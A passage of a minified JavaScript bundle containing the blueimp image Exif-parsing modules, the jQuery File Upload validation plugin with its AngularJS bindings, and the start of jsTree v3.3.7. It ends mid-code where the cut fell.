DataView(l),e=2,y=o.byteLength-4,a=e;if(65496===o.getUint16(0)){for(;y>e&&(s=o.getUint16(e),s>=65504&&65519>=s||65534===s);){if(h=o.getUint16(e+2)+2,e+h>o.byteLength){console.log("Invalid meta data: Invalid segment size.");break}if(v=n.metaDataParsers.jpeg[s])for(c=0;c<v.length;c+=1)v[c].call(f,o,e,h,u,r);e+=h;a=e}!r.disableImageHead&&a>6&&(u.imageHead=l.slice?l.slice(0,a):new Uint8Array(l).subarray(0,a))}else console.log("Invalid JPEG file: Missing JPEG marker.");i(u)},"readAsArrayBuffer"))&&i(u)}}),function(n){"use strict";"function"==typeof define&&define.amd?define(["load-image","load-image-meta"],n):n(window.loadImage)}(function(n){"use strict";n.ExifMap=function(){return this};n.ExifMap.prototype.map={Orientation:274};n.ExifMap.prototype.get=function(n){return this[n]||this[this.map[n]]};n.getExifThumbnail=function(n,t,i){var u,r,f;if(!i||t+i>n.byteLength)return void console.log("Invalid Exif data: Invalid thumbnail data.");for(u=[],r=0;i>r;r+=1)f=n.getUint8(t+r),u.push((16>f?"0":"")+f.toString(16));return"data:image/jpeg,%"+u.join("%")};n.exifTagTypes={1:{getValue:function(n,t){return n.getUint8(t)},size:1},2:{getValue:function(n,t){return String.fromCharCode(n.getUint8(t))},size:1,ascii:!0},3:{getValue:function(n,t,i){return n.getUint16(t,i)},size:2},4:{getValue:function(n,t,i){return n.getUint32(t,i)},size:4},5:{getValue:function(n,t,i){return n.getUint32(t,i)/n.getUint32(t+4,i)},size:8},9:{getValue:function(n,t,i){return n.getInt32(t,i)},size:4},10:{getValue:function(n,t,i){return n.getInt32(t,i)/n.getInt32(t+4,i)},size:8}};n.exifTagTypes[7]=n.exifTagTypes[1];n.getExifValue=function(t,i,r,u,f,e){var l,c,h,o,a,v,s=n.exifTagTypes[u];if(!s)return void console.log("Invalid Exif data: Invalid tag type.");if(l=s.size*f,c=l>4?i+t.getUint32(r+8,e):r+8,c+l>t.byteLength)return void console.log("Invalid Exif data: Invalid data offset.");if(1===f)return s.getValue(t,c,e);for(h=[],o=0;f>o;o+=1)h[o]=s.getValue(t,c+o*s.size,e);if(s.ascii){for(a="",o=0;o<h.length&&(v=h[o],"\x00"!==v);o+=1)a+=v;return a}return h};n.parseExifTag=function(t,i,r,u,f){var e=t.getUint16(r,u);f.exif[e]=n.getExifValue(t,i,r,t.getUint16(r+2,u),t.getUint32(r+4,u),u)};n.parseExifTags=function(n,t,i,r,u){var e,o,f;if(i+6>n.byteLength)return void console.log("Invalid Exif data: Invalid directory offset.");if(e=n.getUint16(i,r),o=i+2+12*e,o+4>n.byteLength)return void console.log("Invalid Exif data: Invalid directory size.");for(f=0;e>f;f+=1)this.parseExifTag(n,t,i+2+12*f,r,u);return n.getUint32(o,r)};n.parseExifData=function(t,i,r,u,f){if(!f.disableExif){var o,s,h,e=i+10;if(1165519206===t.getUint32(i+4)){if(e+8>t.byteLength)return void console.log("Invalid Exif data: Invalid segment size.");if(0!==t.getUint16(i+8))return void console.log("Invalid Exif data: Missing byte alignment offset.");switch(t.getUint16(e)){case 18761:o=!0;break;case 19789:o=!1;break;default:return void console.log("Invalid Exif data: Invalid byte alignment marker.")}if(42!==t.getUint16(e+2,o))return void console.log("Invalid Exif data: Missing TIFF marker.");s=t.getUint32(e+4,o);u.exif=new n.ExifMap;s=n.parseExifTags(t,e,e+s,o,u);s&&!f.disableExifThumbnail&&(h={exif:{}},s=n.parseExifTags(t,e,e+s,o,h),h.exif[513]&&(u.exif.Thumbnail=n.getExifThumbnail(t,e+h.exif[513],h.exif[514])));u.exif[34665]&&!f.disableExifSub&&n.parseExifTags(t,e,e+u.exif[34665],o,u);u.exif[34853]&&!f.disableExifGps&&n.parseExifTags(t,e,e+u.exif[34853],o,u)}}};n.metaDataParsers.jpeg[65505].push(n.parseExifData)}),function(n){"use strict";"function"==typeof define&&define.amd?define(["load-image","load-image-exif"],n):n(window.loadImage)}(function(n){"use strict";n.ExifMap.prototype.tags={256:"ImageWidth",257:"ImageHeight",34665:"ExifIFDPointer",34853:"GPSInfoIFDPointer",40965:"InteroperabilityIFDPointer",258:"BitsPerSample",259:"Compression",262:"PhotometricInterpretation",274:"Orientation",277:"SamplesPerPixel",284:"PlanarConfiguration",530:"YCbCrSubSampling",531:"YCbCrPositioning",282:"XResolution",283:"YResolution",296:"ResolutionUnit",273:"StripOffsets",278:"RowsPerStrip",279:"StripByteCounts",513:"JPEGInterchangeFormat",514:"JPEGInterchangeFormatLength",301:"TransferFunction",318:"WhitePoint",319:"PrimaryChromaticities",529:"YCbCrCoefficients",532:"ReferenceBlackWhite",306:"DateTime",270:"ImageDescription",271:"Make",272:"Model",305:"Software",315:"Artist",33432:"Copyright",36864:"ExifVersion",40960:"FlashpixVersion",40961:"ColorSpace",40962:"PixelXDimension",40963:"PixelYDimension",42240:"Gamma",37121:"ComponentsConfiguration",37122:"CompressedBitsPerPixel",37500:"MakerNote",37510:"UserComment",40964:"RelatedSoundFile",36867:"DateTimeOriginal",36868:"DateTimeDigitized",37520:"SubSecTime",37521:"SubSecTimeOriginal",37522:"SubSecTimeDigitized",33434:"ExposureTime",33437:"FNumber",34850:"ExposureProgram",34852:"SpectralSensitivity",34855:"PhotographicSensitivity",34856:"OECF",34864:"SensitivityType",34865:"StandardOutputSensitivity",34866:"RecommendedExposureIndex",34867:"ISOSpeed",34868:"ISOSpeedLatitudeyyy",34869:"ISOSpeedLatitudezzz",37377:"ShutterSpeedValue",37378:"ApertureValue",37379:"BrightnessValue",37380:"ExposureBias",37381:"MaxApertureValue",37382:"SubjectDistance",37383:"MeteringMode",37384:"LightSource",37385:"Flash",37396:"SubjectArea",37386:"FocalLength",41483:"FlashEnergy",41484:"SpatialFrequencyResponse",41486:"FocalPlaneXResolution",41487:"FocalPlaneYResolution",41488:"FocalPlaneResolutionUnit",41492:"SubjectLocation",41493:"ExposureIndex",41495:"SensingMethod",41728:"FileSource",41729:"SceneType",41730:"CFAPattern",41985:"CustomRendered",41986:"ExposureMode",41987:"WhiteBalance",41988:"DigitalZoomRatio",41989:"FocalLengthIn35mmFilm",41990:"SceneCaptureType",41991:"GainControl",41992:"Contrast",41993:"Saturation",41994:"Sharpness",41995:"DeviceSettingDescription",41996:"SubjectDistanceRange",42016:"ImageUniqueID",42032:"CameraOwnerName",42033:"BodySerialNumber",42034:"LensSpecification",42035:"LensMake",42036:"LensModel",42037:"LensSerialNumber",0:"GPSVersionID",1:"GPSLatitudeRef",2:"GPSLatitude",3:"GPSLongitudeRef",4:"GPSLongitude",5:"GPSAltitudeRef",6:"GPSAltitude",7:"GPSTimeStamp",8:"GPSSatellites",9:"GPSStatus",10:"GPSMeasureMode",11:"GPSDOP",12:"GPSSpeedRef",13:"GPSSpeed",14:"GPSTrackRef",15:"GPSTrack",16:"GPSImgDirectionRef",17:"GPSImgDirection",18:"GPSMapDatum",19:"GPSDestLatitudeRef",20:"GPSDestLatitude",21:"GPSDestLongitudeRef",22:"GPSDestLongitude",23:"GPSDestBearingRef",24:"GPSDestBearing",25:"GPSDestDistanceRef",26:"GPSDestDistance",27:"GPSProcessingMethod",28:"GPSAreaInformation",29:"GPSDateStamp",30:"GPSDifferential",31:"GPSHPositioningError"};n.ExifMap.prototype.stringValues={ExposureProgram:{0:"Undefined",1:"Manual",2:"Normal program",3:"Aperture priority",4:"Shutter priority",5:"Creative program",6:"Action program",7:"Portrait mode",8:"Landscape mode"},MeteringMode:{0:"Unknown",1:"Average",2:"CenterWeightedAverage",3:"Spot",4:"MultiSpot",5:"Pattern",6:"Partial",255:"Other"},LightSource:{0:"Unknown",1:"Daylight",2:"Fluorescent",3:"Tungsten (incandescent light)",4:"Flash",9:"Fine weather",10:"Cloudy weather",11:"Shade",12:"Daylight fluorescent (D 5700 - 7100K)",13:"Day white fluorescent (N 4600 - 5400K)",14:"Cool white fluorescent (W 3900 - 4500K)",15:"White fluorescent (WW 3200 - 3700K)",17:"Standard light A",18:"Standard light B",19:"Standard light C",20:"D55",21:"D65",22:"D75",23:"D50",24:"ISO studio tungsten",255:"Other"},Flash:{0:"Flash did not fire",1:"Flash fired",5:"Strobe return light not detected",7:"Strobe return light detected",9:"Flash fired, compulsory flash mode",13:"Flash fired, compulsory flash mode, return light not detected",15:"Flash fired, compulsory flash mode, return light detected",16:"Flash did not fire, compulsory flash mode",24:"Flash did not fire, auto mode",25:"Flash fired, auto mode",29:"Flash fired, auto mode, return light not detected",31:"Flash fired, auto mode, return light detected",32:"No flash function",65:"Flash fired, red-eye reduction mode",69:"Flash fired, red-eye reduction mode, return light not detected",71:"Flash fired, red-eye reduction mode, return light detected",73:"Flash fired, compulsory flash mode, red-eye reduction mode",77:"Flash fired, compulsory flash mode, red-eye reduction mode, return light not detected",79:"Flash fired, compulsory flash mode, red-eye reduction mode, return light detected",89:"Flash fired, auto mode, red-eye reduction mode",93:"Flash fired, auto mode, return light not detected, red-eye reduction mode",95:"Flash fired, auto mode, return light detected, red-eye reduction mode"},SensingMethod:{1:"Undefined",2:"One-chip color area sensor",3:"Two-chip color area sensor",4:"Three-chip color area sensor",5:"Color sequential area sensor",7:"Trilinear sensor",8:"Color sequential linear sensor"},SceneCaptureType:{0:"Standard",1:"Landscape",2:"Portrait",3:"Night scene"},SceneType:{1:"Directly photographed"},CustomRendered:{0:"Normal process",1:"Custom process"},WhiteBalance:{0:"Auto white balance",1:"Manual white balance"},GainControl:{0:"None",1:"Low gain up",2:"High gain up",3:"Low gain down",4:"High gain down"},Contrast:{0:"Normal",1:"Soft",2:"Hard"},Saturation:{0:"Normal",1:"Low saturation",2:"High saturation"},Sharpness:{0:"Normal",1:"Soft",2:"Hard"},SubjectDistanceRange:{0:"Unknown",1:"Macro",2:"Close view",3:"Distant view"},FileSource:{3:"DSC"},ComponentsConfiguration:{0:"",1:"Y",2:"Cb",3:"Cr",4:"R",5:"G",6:"B"},Orientation:{1:"top-left",2:"top-right",3:"bottom-right",4:"bottom-left",5:"left-top",6:"right-top",7:"right-bottom",8:"left-bottom"}};n.ExifMap.prototype.getText=function(n){var t=this.get(n);switch(n){case"LightSource":case"Flash":case"MeteringMode":case"ExposureProgram":case"SensingMethod":case"SceneCaptureType":case"SceneType":case"CustomRendered":case"WhiteBalance":case"GainControl":case"Contrast":case"Saturation":case"Sharpness":case"SubjectDistanceRange":case"FileSource":case"Orientation":return this.stringValues[n][t];case"ExifVersion":case"FlashpixVersion":return String.fromCharCode(t[0],t[1],t[2],t[3]);case"ComponentsConfiguration":return this.stringValues[n][t[0]]+this.stringValues[n][t[1]]+this.stringValues[n][t[2]]+this.stringValues[n][t[3]];case"GPSVersionID":return t[0]+"."+t[1]+"."+t[2]+"."+t[3]}return String(t)},function(n){var t,i=n.tags,r=n.map;for(t in i)i.hasOwnProperty(t)&&(r[i[t]]=t)}(n.ExifMap.prototype);n.ExifMap.prototype.getAll=function(){var t,n,i={};for(t in this)this.hasOwnProperty(t)&&(n=this.tags[t],n&&(i[n]=this.getText(n)));return i}}),function(n){"use strict";typeof define=="function"&&define.amd?define(["jquery","./jquery.fileupload-process"],n):n(window.jQuery)}(function(n){"use strict";n.blueimp.fileupload.prototype.options.processQueue.push({action:"validate",always:!0,acceptFileTypes:"@",maxFileSize:"@",minFileSize:"@",maxNumberOfFiles:"@",disabled:"@disableValidation"});n.widget("blueimp.fileupload",n.blueimp.fileupload,{options:{getNumberOfFiles:n.noop,messages:{maxNumberOfFiles:"Maximum number of files exceeded",acceptFileTypes:"File type not allowed",maxFileSize:"File is too large",minFileSize:"File is too small"}},processActions:{validate:function(t,i){if(i.disabled)return t;var e=n.Deferred(),u=this.options,r=t.files[t.index],f;return(i.minFileSize||i.maxFileSize)&&(f=r.size),n.type(i.maxNumberOfFiles)==="number"&&(u.getNumberOfFiles()||0)+t.files.length>i.maxNumberOfFiles?r.error=u.i18n("maxNumberOfFiles"):!i.acceptFileTypes||i.acceptFileTypes.test(r.type)||i.acceptFileTypes.test(r.name)?f>i.maxFileSize?r.error=u.i18n("maxFileSize"):n.type(f)==="number"&&f<i.minFileSize?r.error=u.i18n("minFileSize"):delete r.error:r.error=u.i18n("acceptFileTypes"),r.error||t.files.error?(t.files.error=!0,e.rejectWith(this,[t])):e.resolveWith(this,[t]),e.promise()}}})}),function(n){"use strict";typeof define=="function"&&define.amd?define(["jquery","angular","./jquery.fileupload-image","./jquery.fileupload-audio","./jquery.fileupload-video","./jquery.fileupload-validate"],n):n()}(function(){"use strict";angular.module("blueimp.fileupload",[]).provider("fileUpload",function(){var t=function(n){var t=angular.element(this).fileupload("option","scope");t.$evalAsync(n)},i=function(n,t){var r=t.files,i=r[0];angular.forEach(r,function(n,i){n._index=i;n.$state=function(){return t.state()};n.$processing=function(){return t.processing()};n.$progress=function(){return t.progress()};n.$response=function(){return t.response()}});i.$submit=function(){if(!i.error)return t.submit()};i.$cancel=function(){return console.log("test"),t.abort()}},r=this.defaults={handleResponse:function(n,t){var i=t.result&&t.result.files;i?t.scope.replace(t.files,i):(t.errorThrown||t.textStatus==="error")&&(t.files[0].error=t.errorThrown||t.textStatus)},add:function(n,t){if(n.isDefaultPrevented())return!1;var r=t.scope,u=[];angular.forEach(t.files,function(n){u.push(n)});r.$apply(function(){i(r,t);var n=r.option("prependFiles")?"unshift":"push";Array.prototype[n].apply(r.queue,t.files)});t.process(function(){return r.process(t)}).always(function(){r.$apply(function(){i(r,t);r.replace(u,t.files)})}).then(function(){(r.option("autoUpload")||t.autoUpload)&&t.autoUpload!==!1&&t.submit()})},progress:function(n,t){if(n.isDefaultPrevented())return!1;t.scope.$apply()},done:function(n,t){if(n.isDefaultPrevented())return!1;var i=this;t.scope.$apply(function(){t.handleResponse.call(i,n,t)})},fail:function(n,t){if(n.isDefaultPrevented())return!1;var r=this,i=t.scope;if(t.errorThrown==="abort"){i.clear(t.files);return}i.$apply(function(){t.handleResponse.call(r,n,t)})},stop:t,processstart:t,processstop:t,getNumberOfFiles:function(){var n=this.scope;return n.queue.length-n.processing()},dataType:"json",autoUpload:!1};var n={},u=function(t,i){n[t].push(i)},f=function(t,i){angular.forEach(n[t],function(r,u){r&&r._id&&r._id===i&&n[t].splice(u,1)})},e=function(t){n[t]||(n[t]=[])};this.$get=[function(){return{fieldData:n,defaults:r,addFieldData:u,removeFieldData:f,registerField:e}}]}).provider("formatFileSizeFilter",function(){var n={units:[{size:1e9,suffix:" GB"},{size:1e6,suffix:" MB"},{size:1e3,suffix:" KB"}]};this.defaults=n;this.$get=function(){return function(t){if(!angular.isNumber(t))return"";for(var i=!0,r=0,u,f;i;){if(i=n.units[r],u=i.prefix||"",f=i.suffix||"",r===n.units.length-1||t>=i.size)return u+(t/i.size).toFixed(2)+f;r+=1}}}}).controller("FileUploadController",["$scope","$element","$attrs","$window","fileUpload",function(n,t,i,r,u){var f={progress:function(){return t.fileupload("progress")},active:function(){return t.fileupload("active")},option:function(n,i){if(arguments.length===1)return t.fileupload("option",n);t.fileupload("option",n,i)},add:function(n){return t.fileupload("add",n)},send:function(n){return t.fileupload("send",n)},process:function(n){return t.fileupload("process",n)},processing:function(n){return t.fileupload("processing",n)}};n.disabled=!r.jQuery.support.fileInput;n.queue=n.queue||[];n.clear=function(n){var i=this.queue,t=i.length,r=n,u=1;for(angular.isArray(n)&&(r=n[0],u=n.length);t;)if(t-=1,i[t]===r)return i.splice(t,u)};n.replace=function(n,t){for(var u=this.queue,f=n[0],r,i=0;i<u.length;i+=1)if(u[i]===f){for(r=0;r<t.length;r+=1)u[i+r]=t[r];return}};n.applyOnQueue=function(n){console.log("canceltest");var i=this.queue.slice(0),t,r;for(console.log(i.length),t=0;t<i.length;t+=1)r=i[t],r[n]&&r[n]()};n.submit=function(){this.applyOnQueue("$submit")};n.cancel=function(){console.log("cancel2");this.applyOnQueue("$cancel")};angular.extend(n,f);t.fileupload(angular.extend({scope:n},u.defaults)).on("fileuploadadd",function(t,i){i.scope=n}).on("fileuploadfail",function(n,t){if(t.errorThrown!=="abort"&&t.dataType&&t.dataType.indexOf("json")===t.dataType.length-4)try{t.result=angular.fromJson(t.jqXHR.responseText)}catch(i){}}).on("fileuploadadd fileuploadsubmit fileuploadsend fileuploaddone fileuploadfail fileuploadalways fileuploadprogress fileuploadprogressall fileuploadstart fileuploadstop fileuploadchange fileuploadpaste fileuploaddrop fileuploaddragover fileuploadchunksend fileuploadchunkdone fileuploadchunkfail fileuploadchunkalways fileuploadprocessstart fileuploadprocess fileuploadprocessdone fileuploadprocessfail fileuploadprocessalways fileuploadprocessstop",function(t,i){n.$emit(t.type,i).defaultPrevented&&t.preventDefault()}).on("remove",function(){for(var t in f)f.hasOwnProperty(t)&&delete n[t]});n.$watch(i.fileUpload,function(n){n&&t.fileupload("option",n)})}]).controller("FileUploadProgressController",["$scope","$attrs","$parse",function(n,t,i){var u=i(t.fileUploadProgress),r=function(){var t=u(n);t&&t.total&&(n.num=Math.floor(t.loaded/t.total*100))};r();n.$watch(t.fileUploadProgress+".loaded",function(n,t){n!==t&&r()})}]).controller("FileUploadPreviewController",["$scope","$element","$attrs",function(n,t,i){n.$watch(i.fileUploadPreview+".preview",function(n){t.empty();n&&t.append(n)})}]).directive("fileUpload",function(){return{controller:"FileUploadController",scope:!0}}).directive("fileUploadProgress",function(){return{controller:"FileUploadProgressController",scope:!0}}).directive("fileUploadPreview",function(){return{controller:"FileUploadPreviewController"}}).directive("download",function(){return function(n,t){t.on("dragstart",function(n){try{n.originalEvent.dataTransfer.setData("DownloadURL",["application/octet-stream",t.prop("download"),t.prop("href")].join(":"))}catch(i){}})}})});
/*! jsTree - v3.3.7 - 2018-11-06 - (MIT) */
!function(n){"use strict";"function"==typeof define&&define.amd?define(["jquery"],n):"undefined"!=typeof module&&module.exports?module.exports=n(require("jquery")):n(jQuery)}(function(n,t){"use strict";var h,e,f,c,s,a;if(!n.jstree){var y=0,u=!1,r=!1,o=!1,v=[],l=n("script:last").attr("src"),i=window.document;if(n.jstree={version:"3.3.7",defaults:{plugins:[]},plugins:{},path:l&&-1!==l.indexOf("/")?l.replace(/\/[^\/]+$/,""):"",idregex:/[\\:&!^|()\[\]<>@*'+~#";.,=\- \/${}%?`]/g,root:"#"},n.jstree.create=function(t,i){var r=new n.jstree.core(++y),u=i;return i=n.extend(!0,{},n.jstree.defaults,i),u&&u.plugins&&(i.plugins=u.plugins),n.each(i.plugins,function(n,t){"core"!==n&&(r=r.plugin(t,i[t]))}),n(t).data("jstree",r),r.init(t,i),r},n.jstree.destroy=function(){n(".jstree:jstree").jstree("destroy");n(i).off(".jstree")},n.jstree.core=function(n){this._id=n;this._cnt=0;this._wrk=null;this._data={core:{themes:{name:!1,dots:!1,icons:!1,ellipsis:!1},selected:[],last_error:{},working:!1,worker_queue:[],focused:null}}},n.jstree.reference=function(t){var r=null,i=null;if(!t||!t.id||t.tagName&&t.nodeType||(t=t.id),!i||!i.length)try{i=n(t)}catch(u){}if(!i||!i.length)try{i=n("#"+t.replace(n.jstree.idregex,"\\$&"))}catch(u){}return i&&i.length&&(i=i.closest(".jstree")).length&&(i=i.data("jstree"))?r=i:n(".jstree").each(function(){var i=n(this).data("jstree");if(i&&i._model.data[t])return(r=i,!1)}),r},n.fn.jstree=function(i){var u="string"==typeof i,f=Array.prototype.slice.call(arguments,1),r=null;return i!==!0||this.length?(this.each(function(){var e=n.jstree.reference(this),o=u&&e?e[i]:null;return r=u&&o?o.apply(e,f):null,e||u||i!==t&&!n.isPlainObject(i)||n.jstree.create(this,i),(e&&!u||i===!0)&&(r=e||!1),null!==r&&r!==t?!1:void 0}),null!==r&&r!==t?r:this):!1},n.expr.pseudos.jstree=n.expr.createPseudo(function(){return function(i){return n(i).hasClass("jstree")&&n(i).data("jstree")!==t}}),n.jstree.defaults.core={data:!1,strings:!1,check_callback:!1,error:n.noop,animation:200,multiple:!0,themes:{name:!1,url:!1,dir:!1,dots:!0,icons:!0,ellipsis:!1,stripes:!1,variant:!1,responsive:!1},expand_selected_onload:!0,worker:!0,force_text:!1,dblclick_toggle:!0,loaded_state:!1,restore_focus:!0,keyboard:{"ctrl-space":function(t){t.type="click";n(t.currentTarget).trigger(t)},enter:function(t){t.type="click";n(t.currentTarget).trigger(t)},left:function(t){if(t.preventDefault(),this.is_open(t.currentTarget))this.close_node(t.currentTarget);else{var i=this.get_parent(t.currentTarget);i&&i.id!==n.jstree.root&&this.get_node(i,!0).children(".jstree-anchor").focus()}},up:function(n){n.preventDefault();var t=this.get_prev_dom(n.currentTarget);t&&t.length&&t.children(".jstree-anchor").focus()},right:function(t){if(t.preventDefault(),this.is_closed(t.currentTarget))this.open_node(t.currentTarget,function(n){this.get_node(n,!0).children(".jstree-anchor").focus()});else if(this.is_open(t.currentTarget)){var i=this.get_node(t.currentTarget,!0).children(".jstree-children")[0];i&&n(this._firstChild(i)).children(".jstree-anchor").focus()}},down:function(n){n.preventDefault();var t=this.get_next_dom(n.currentTarget);t&&t.length&&t.children(".jstree-anchor").focus()},"*":function(){this.open_all()},home:function(t){t.preventDefault();var i=this._firstChild(this.get_container_ul()[0]);i&&n(i).children(".jstree-anchor").filter(":visible").focus()},end:function(n){n.preventDefault();this.element.find(".jstree-anchor").filter(":visible").last().focus()},f2:function(n){n.preventDefault();this.edit(n.currentTarget)}}},n.jstree.core.prototype={plugin:function(t,i){var r=n.jstree.plugins[t];return r?(this._data[t]={},r.prototype=this,new r(i,this)):this},init:function(t,i){this._model={data:{},changed:[],force_full_redraw:!1,redraw_timeout:!1,default_state:{loaded:!0,opened:!1,selected:!1,disabled:!1}};this._model.data[n.jstree.root]={id:n.jstree.root,parent:null,parents:[],children:[],children_d:[],state:{loaded:!1}};this.element=n(t).addClass("jstree jstree-"+this._id);this.settings=i;this._data.core.ready=!1;this._data.core.loaded=!1;this._data.core.rtl="rtl"===this.element.css("direction");this.element[this._data.core.rtl?"addClass":"removeClass"]("jstree-rtl");this.element.attr("role","tree");this.settings.core.multiple&&this.element.attr("aria-multiselectable",!0);this.element.attr("tabindex")||this.element.attr("tabindex","0");this.bind();this.trigger("init");this._data.core.original_container_html=this.element.find(" > ul > li").clone(!0);this._data.core.original_container_html.find("li").addBack().contents().filter(function(){return 3===this.nodeType&&(!this.nodeValue||/^\s+$/.test(this.nodeValue))}).remove();this.element.html("<ul class='jstree-container-ul jstree-children' role='group'><li id='j"+this._id+"_loading' class='jstree-initial-node jstree-loading jstree-leaf jstree-last' role='tree-item'><i class='jstree-icon jstree-ocl'><\/i><a class='jstree-anchor' href='#'><i class='jstree-icon jstree-themeicon-hidden'><\/i>"+this.get_string("Loading ...")+"<\/a><\/li><\/ul>");this.element.attr("aria-activedescendant","j"+this._id+"_loading");this._data.core.li_height=this.get_container_ul().children("li").first().outerHeight()||24;this._data.core.node=this._create_prototype_node();this.trigger("loading");this.load_node(n.jstree.root)},destroy:function(n){if(this.trigger("destroy"),this._wrk)try{window.URL.revokeObjectURL(this._wrk);this._wrk=null}catch(t){}n||this.element.empty();this.teardown()},_create_prototype_node:function(){var r=i.createElement("LI"),n,t;return r.setAttribute("role","treeitem"),n=i.createElement("I"),n.className="jstree-icon jstree-ocl",n.setAttribute("role","presentation"),r.appendChild(n),n=i.createElement("A"),n.className="jstree-anchor",n.setAttribute("href","#"),n.setAttribute("tabindex","-1"),t=i.createElement("I"),t.className="jstree-icon jstree-themeicon",t.setAttribute("role","presentation"),n.appendChild(t),r.appendChild(n),n=t=null,r},_kbevent_to_func:function(n){var i=[],r,u,t;n.ctrlKey&&i.push("ctrl");n.altKey&&i.push("alt");n.shiftKey&&i.push("shift");i.push({8:"Backspace",9:"Tab",13:"Return",19:"Pause",27:"Esc",32:"Space",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"Left",38:"Up",39:"Right",40:"Down",44:"Print",45:"Insert",46:"Delete",96:"Numpad0",97:"Numpad1",98:"Numpad2",99:"Numpad3",100:"Numpad4",101:"Numpad5",102:"Numpad6",103:"Numpad7",104:"Numpad8",105:"Numpad9","-13":"NumpadEnter",112:"F1",113:"F2",114:"F3",115:"F4",116:"F5",117:"F6",118:"F7",119:"F8",120:"F9",121:"F10",122:"F11",123:"F12",144:"Numlock",145:"Scrolllock",16:"Shift",17:"Ctrl",18:"Alt",48:"0",49:"1",50:"2",51:"3",52:"4",53:"5",54:"6",55:"7",56:"8",57:"9",59:";",61:"=",65:"a",66:"b",67:"c",68:"d",69:"e",70:"f",71:"g",72:"h",73:"i",74:"j",75:"k",76:"l",77:"m",78:"n",79:"o",80:"p",81:"q",82:"r",83:"s",84:"t",85:"u",86:"v",87:"w",88:"x",89:"y",90:"z",107:"+",109:"-",110:".",186:";",187:"=",188:",",189:"-",190:".",191:"/",192:"`",219:"[",220:"\\",221:"]",222:"'",111:"/",106:"*",173:"-"}[n.which]||n.which);i=i.sort().join("-").toLowerCase();r=this.settings.core.keyboard;for(u in r)if(r.hasOwnProperty(u)&&(t=u,"-"!==t&&"+"!==t&&(t=t.replace("--","-MINUS").replace("+-","-MINUS").replace("++","-PLUS").replace("-+","-PLUS"),t=t.split(/-|\+/).sort().join("-").replace("MINUS","-").replace("PLUS","+").toLowerCase()),t===i))return r[u];return null},teardown:function(){this.unbind();this.element.removeClass("jstree").removeData("jstree").find("[class^='jstree']").addBack().attr("class",function(){return this.className.replace(/jstree[^ ]*|$/gi,"")});this.element=null},bind:function(){var t="",r=null,u=0;this.element.on("dblclick.jstree",function(n){if(n.target.tagName&&"input"===n.target.tagName.toLowerCase())return!0;if(i.selection&&i.selection.empty)i.selection.empty();else if(window.getSelection){var t=window.getSelection();try{t.removeAllRanges();t.collapse()}catch(r){}}}).on("mousedown.jstree",n.proxy(function(n){n.target===this.element[0]&&(n.preventDefault(),u=+new Date)},this)).on("mousedown.jstree",".jstree-ocl",function(n){n.preventDefault()}).on("click.jstree",".jstree-ocl",n.proxy(function(n){this.toggle_node(n.target)},this)).on("dblclick.jstree",".jstree-anchor",n.proxy(function(n){return n.target.tagName&&"input"===n.target.tagName.toLowerCase()?!0:void(this.settings.core.dblclick_toggle&&this.toggle_node(n.target))},this)).on("click.jstree",".jstree-anchor",n.proxy(function(t){t.preventDefault();t.currentTarget!==i.activeElement&&n(t.currentTarget).focus();this.activate_node(t.currentTarget,t)},this)).on("keydown.jstree",".jstree-anchor",n.proxy(function(n){var i,t;return n.target.tagName&&"input"===n.target.tagName.toLowerCase()?!0:(this._data.core.rtl&&(37===n.which?n.which=39:39===n.which&&(n.which=37)),i=this._kbevent_to_func(n),i&&(t=i.call(this,n),t===!1||t===!0)?t:void 0)},this)).on("load_node.jstree",n.proxy(function(t,i){i.status&&(i.node.id!==n.jstree.root||this._data.core.loaded||(this._data.core.loaded=!0,this._firstChild(this.get_container_ul()[0])&&this.element.attr("aria-activedescendant",this._firstChild(this.get_container_ul()[0]).id),this.trigger("loaded")),this._data.core.ready||setTimeout(n.proxy(function(){if(this.element&&!this.get_container_ul().find(".jstree-loading").length){if(this._data.core.ready=!0,this._data.core.selected.length){if(this.settings.core.expand_selected_onload){for(var i=[],t=0,r=this._data.core.selected.length;r>t;t++)i=i.concat(this._model.data[this._data.core.selected[t]].parents);for(i=n.vakata.array_unique(i),t=0,r=i.length;r>t;t++)this.open_node(i[t],!1,0)}this.trigger("changed",{action:"ready",selected:this._data.core.selected})}this.trigger("ready")}},this),0))},this)).on("keypress.jstree",n.proxy(function(u){if(u.target.tagName&&"input"===u.target.tagName.toLowerCase())return!0;r&&clearTimeout(r);r=setTimeout(function(){t=""},500);var o=String.fromCharCode(u.which).toLowerCase(),e=this.element.find(".jstree-anchor").filter(":visible"),s=e.index(i.activeElement)||0,f=!1;if(t+=o,t.length>1){if(e.slice(s).each(n.proxy(function(i,r){if(0===n(r).text().toLowerCase().indexOf(t))return(n(r).focus(),f=!0,!1)},this)),f)return;if(e.slice(0,s).each(n.proxy(function(i,r){if(0===n(r).text().toLowerCase().indexOf(t))return(n(r).focus(),f=!0,!1)},this)),f)return}if(new RegExp("^"+o.replace(/[-\/\\^$*+?.()|[\]{}]/g,"\\$&")+"+$").test(t)){if(e.slice(s+1).each(n.proxy(function(t,i){if(n(i).text().toLowerCase().charAt(0)===o)return(n(i).focus(),f=!0,!1)},this)),f)return;if(e.slice(0,s+1).each(n.proxy(function(t,i){if(n(i).text().toLowerCase().charAt(0)===o)return(n(i).focus(),f=!0,!1)},this)),f)return}},this)).on("init.jstree",n.proxy(function(){var n=this.settings.core.themes;this._data.core.themes.dots=n.dots;this._data.core.themes.stripes=n.stripes;this._data.core.themes.icons=n.icons;this._data.core.themes.ellipsis=n.ellipsis;this.set_theme(n.name||"default",n.url);this.set_theme_variant(n.variant)},this)).on("loading.jstree",n.proxy(function(){this[this._data.core.themes.dots?"show_dots":"hide_dots"]();this[this._data.core.themes.icons?"show_icons":"hide_icons"]();this[this._data.core.themes.stripes?"show_stripes":"hide_stripes"]();this[this._data.core.themes.ellipsis?"show_ellipsis":"hide_ellipsis"]()},this)).on("blur.jstree",".jstree-anchor",n.proxy(function(t){this._data.core.focused=null;n(t.currentTarget).filter(".jstree-hovered").mouseleave();this.element.attr("tabindex","0")},this)).on("focus.jstree",".jstree-anchor",n.proxy(function(t){var i=this.get_node(t.currentTarget);i&&i.id&&(this._data.core.focused=i.id);this.element.find(".jstree-hovered").not(t.currentTarget).mouseleave();n(t.currentTarget).mouseenter();this.element.attr("tabindex","-1")},this)).on("focus.jstree",n.proxy(function(){if(+new Date-u>500&&!this._data.core.focused&&this.settings.core.restore_focus){u=0;var n=this.get_node(this.element.attr("aria-activedescendant"),!0);n&&n.find("> 